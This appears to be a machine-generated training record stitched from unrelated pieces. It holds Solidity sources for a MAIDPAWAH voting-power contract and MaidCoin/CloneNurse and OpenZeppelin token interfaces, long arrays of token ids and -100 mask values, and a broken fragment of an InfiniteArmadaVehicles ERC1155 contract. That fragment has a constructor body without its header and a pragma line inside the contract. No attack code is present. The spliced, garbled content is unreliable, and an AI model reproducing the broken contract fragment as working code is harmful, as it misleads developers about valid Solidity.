-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "../interfaces/ICloneNurses.sol"; interface INurseRaid { function powerOfMaids(IERC721Enumerable maids, uint256 id) external view returns (uint256); } contract MAIDPAWAH is Ownable { INurseRaid public constant raid = INurseRaid(0x629d37B273c05597C8bEfB7B48525803B202D9Ea); IERC20 public constant omu = IERC20(0xD428F1050AdC29976d4339b1ec602832034dF701); ICloneNurses public constant cloneNurses = ICloneNurses(0x5eE657F5426484A777a1fC7Abd436DfDB13b1cc3); IERC721Enumerable public constant maids = IERC721Enumerable(0x42ED30f2c459601A4f74Ff831B76Be64195D3dE4); IERC721Enumerable public constant sushiGirls = IERC721Enumerable(0xEB3b418e4A4430392Cd57b1356c5B1d2205A56d9); IERC721Enumerable public constant lingerieGirls = IERC721Enumerable(0x579a60Fbc649d3398F13E0385dBE79b3Ffad757c); IERC721Enumerable[] public housekeepers; uint256 public maidLikeWeight; uint256 public nurseWeight; uint256 public omuWeight; event AddHousekeepers(uint256 indexed id, IERC721Enumerable indexed newHousekeeper); event SetHousekeepers(uint256 indexed id, IERC721Enumerable indexed newHousekeeper); event SetWeight(uint256 maidLikeWeight, uint256 nurseWeight, uint256 omuWeight); constructor( uint256 _maidLikeWeight, uint256 _nurseWeight, uint256 _omuWeight ) { maidLikeWeight = _maidLikeWeight; nurseWeight = _nurseWeight; omuWeight = _omuWeight; emit SetWeight(_maidLikeWeight, _nurseWeight, _omuWeight); } function addHousekeeper(IERC721Enumerable newHousekeeper) external onlyOwner { uint256 id = housekeepers.length; housekeepers.push(newHousekeeper); emit AddHousekeepers(id, newHousekeeper); } function setHousekeeper(uint256 id, IERC721Enumerable newHousekeeper) external onlyOwner { housekeepers[id] = newHousekeeper; emit SetHousekeepers(id, newHousekeeper); } function setWeight( uint256 _maidLikeWeight, uint256 _nurseWeight, uint256 _omuWeight ) external onlyOwner { maidLikeWeight = _maidLikeWeight; nurseWeight = _nurseWeight; omuWeight = _omuWeight; emit SetWeight(_maidLikeWeight, _nurseWeight, _omuWeight); } function powerOfMaidLike(address account) internal view returns (uint256 totalPower) { uint256 sGirlsBalance = sushiGirls.balanceOf(account); if (sGirlsBalance > 0) { for (uint256 i = 0; i < sGirlsBalance; i++) { totalPower += raid.powerOfMaids(sushiGirls, sushiGirls.tokenOfOwnerByIndex(account, i)); } } uint256 lGirlsBalance = lingerieGirls.balanceOf(account); if (lGirlsBalance > 0) { for (uint256 i = 0; i < lGirlsBalance; i++) { totalPower += raid.powerOfMaids(lingerieGirls, lingerieGirls.tokenOfOwnerByIndex(account, i)); } } uint256 maidsBalance = maids.balanceOf(account); if (maidsBalance > 0) { for (uint256 i = 0; i < maidsBalance; i++) { totalPower += raid.powerOfMaids(maids, maids.tokenOfOwnerByIndex(account, i)); } } uint256 keepers = housekeepers.length; if (keepers > 0) { for (uint256 i = 0; i < keepers; i++) { if (address(housekeepers[i]) != address(0)) { uint256 keepersBalance = housekeepers[i].balanceOf(account); if (keepersBalance > 0) { for (uint256 j = 0; j < keepersBalance; j++) { totalPower += raid.powerOfMaids( housekeepers[i], housekeepers[i].tokenOfOwnerByIndex(account, j) ); } } } } } } function powerOfNurses(address account) internal view returns (uint256 totalPower) { uint256 nursesBalance = cloneNurses.balanceOf(account); if (nursesBalance > 0) { for (uint256 i = 0; i < nursesBalance; i++) { uint256 id = cloneNurses.tokenOfOwnerByIndex(account, i); (uint256 _type, , ) = cloneNurses.nurses(id); (, , uint256 power, ) = cloneNurses.nurseTypes(_type); totalPower += (power + (cloneNurses.supportedPower(id) / 1e18)); } } } function powerOfOMU(address account) internal view returns (uint256 omuPower) { omuPower = omu.balanceOf(account) / 1e18; } function balanceOf(address account) external view returns (uint256 balance) { balance += powerOfMaidLike(account) * maidLikeWeight; balance += powerOfNurses(account) * nurseWeight; balance += powerOfOMU(account) * omuWeight; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "./ICloneNurseEnumerable.sol"; import "./ISupportable.sol"; import "./INursePart.sol"; import "./IMaidCoin.sol"; import "./ITheMaster.sol"; interface ICloneNurses is IERC721, IERC721Metadata, ICloneNurseEnumerable, ISupportable { event Claim(uint256 indexed id, address indexed claimer, uint256 reward); event ElongateLifetime(uint256 indexed id, uint256 rechargedLifetime, uint256 lastEndBlock, uint256 newEndBlock); function nursePart() external view returns (INursePart); function maidCoin() external view returns (IMaidCoin); function theMaster() external view returns (ITheMaster); function nurseTypes(uint256 typeId) external view returns ( uint256 partCount, uint256 destroyReturn, uint256 power, uint256 lifetime ); function nurseTypeCount() external view returns (uint256); function nurses(uint256 id) external view returns ( uint256 nurseType, uint256 endBlock, uint256 lastClaimedBlock ); function assemble(uint256 nurseType, uint256 parts) external; function assembleWithPermit( uint256 nurseType, uint256 parts, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function elongateLifetime(uint256[] calldata ids, uint256[] calldata parts) external; function destroy(uint256[] calldata ids, uint256[] calldata toIds) external; function claim(uint256[] calldata ids) external; function pendingReward(uint256 id) external view returns (uint256); function findSupportingTo(address supporter) external view returns (address, uint256); function exists(uint256 id) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "./IMaidCoin.sol"; import "./IRewardCalculator.sol"; import "./ISupportable.sol"; import "./IMasterChefModule.sol"; interface ITheMaster is IMasterChefModule { event ChangeRewardCalculator(address addr); event Add( uint256 indexed pid, address addr, bool indexed delegate, bool indexed mintable, address supportable, uint8 supportingRatio, uint256 allocPoint ); event Set(uint256 indexed pid, uint256 allocPoint); event Deposit(uint256 indexed userId, uint256 indexed pid, uint256 amount); event Withdraw(uint256 indexed userId, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event Support(address indexed supporter, uint256 indexed pid, uint256 amount); event Desupport(address indexed supporter, uint256 indexed pid, uint256 amount); event EmergencyDesupport(address indexed user, uint256 indexed pid, uint256 amount); event SetIsSupporterPool(uint256 indexed pid, bool indexed status); function initialRewardPerBlock() external view returns (uint256); function decreasingInterval() external view returns (uint256); function startBlock() external view returns (uint256); function maidCoin() external view returns (IMaidCoin); function rewardCalculator() external view returns (IRewardCalculator); function poolInfo(uint256 pid) external view returns ( address addr, bool delegate, ISupportable supportable, uint8 supportingRatio, uint256 allocPoint, uint256 lastRewardBlock, uint256 accRewardPerShare, uint256 supply ); function poolCount() external view returns (uint256); function userInfo(uint256 pid, uint256 user) external view returns (uint256 amount, uint256 rewardDebt); function mintableByAddr(address addr) external view returns (bool); function totalAllocPoint() external view returns (uint256); function pendingReward(uint256 pid, uint256 userId) external view returns (uint256); function rewardPerBlock() external view returns (uint256); function changeRewardCalculator(address addr) external; function add( address addr, bool delegate, bool mintable, address supportable, uint8 supportingRatio, uint256 allocPoint ) external; function set(uint256[] calldata pid, uint256[] calldata allocPoint) external; function deposit( uint256 pid, uint256 amount, uint256 userId ) external; function depositWithPermit( uint256 pid, uint256 amount, uint256 userId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function depositWithPermitMax( uint256 pid, uint256 amount, uint256 userId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function withdraw( uint256 pid, uint256 amount, uint256 userId ) external; function emergencyWithdraw(uint256 pid) external; function support( uint256 pid, uint256 amount, uint256 supportTo ) external; function supportWithPermit( uint256 pid, uint256 amount, uint256 supportTo, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function supportWithPermitMax( uint256 pid, uint256 amount, uint256 supportTo, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function desupport(uint256 pid, uint256 amount) external; function emergencyDesupport(uint256 pid) external; function mint(address to, uint256 amount) external; function claimSushiReward(uint256 id) external; function pendingSushiReward(uint256 id) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IMaidCoin { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function INITIAL_SUPPLY() external pure returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function mint(address to, uint256 amount) external; function burn(uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; interface INursePart is IERC1155 { function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external view returns (bytes32); function nonces(address owner) external view returns (uint256); function mint( address to, uint256 id, uint256 amount ) external; function burn(uint256 id, uint256 amount) external; function permit( address owner, address spender, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface ISupportable { event SupportTo(address indexed supporter, uint256 indexed to); event ChangeSupportingRoute(uint256 indexed from, uint256 indexed to); event ChangeSupportedPower(uint256 indexed id, int256 power); event TransferSupportingRewards(address indexed supporter, uint256 indexed id, uint256 amounts); function supportingRoute(uint256 id) external view returns (uint256); function supportingTo(address supporter) external view returns (uint256); function supportedPower(uint256 id) external view returns (uint256); function totalRewardsFromSupporters(uint256 id) external view returns (uint256); function setSupportingTo( address supporter, uint256 to, uint256 amounts ) external; function checkSupportingRoute(address supporter) external returns (address, uint256); function changeSupportedPower(address supporter, int256 power) external; function shareRewards( uint256 pending, address supporter, uint8 supportingRatio ) external returns (address nurseOwner, uint256 amountToNurseOwner); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface ICloneNurseEnumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "./IMasterChef.sol"; import "../uniswapv2/interfaces/IUniswapV2Pair.sol"; interface IMasterChefModule { function lpToken() external view returns (IUniswapV2Pair); function sushi() external view returns (IERC20); function sushiMasterChef() external view returns (IMasterChef); function masterChefPid() external view returns (uint256); function sushiLastRewardBlock() external view returns (uint256); function accSushiPerShare() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IRewardCalculator { function rewardPerBlock() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IMasterChef { struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SUSHI to distribute per block. uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs. uint256 accSushiPerShare; // Accumulated SUSHI per share, times 1e12. See below. } function poolInfo(uint256 pid) external view returns (IMasterChef.PoolInfo memory); function userInfo(uint256 pid, address user) external view returns (IMasterChef.UserInfo memory); function pendingSushi(uint256 _pid, address _user) external view returns (uint256); function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; }
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension/
interface ICloneNurseEnumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); }
14,950,515
[ 1, 654, 39, 17, 27, 5340, 3858, 17, 42, 20651, 1523, 3155, 8263, 16, 3129, 16836, 2710, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 10930, 50, 295, 307, 3572, 25121, 353, 467, 654, 39, 27, 5340, 288, 203, 565, 445, 2078, 3088, 1283, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 1147, 951, 5541, 21268, 12, 2867, 3410, 16, 2254, 5034, 770, 13, 3903, 1476, 1135, 261, 11890, 5034, 1147, 548, 1769, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x9FD30f80b9167aD7c398f898df529E688a6570B5/sources/ArmadaVehicleNFTs.sol
@custom:security-contact [email protected]
contract InfiniteArmadaVehicles is ERC1155, AccessControl, Pausable, ERC1155Supply { bytes32 public constant URI_SETTER_ROLE = keccak256("URI_SETTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); _grantRole(URI_SETTER_ROLE, msg.sender); _grantRole(PAUSER_ROLE, msg.sender); _grantRole(MINTER_ROLE, msg.sender); _mint(msg.sender, 1, 10, ""); _mint(msg.sender, 2, 10, ""); _mint(msg.sender, 3, 10, ""); _mint(msg.sender, 4, 10, ""); pragma solidity ^0.8.4; }
5,556,624
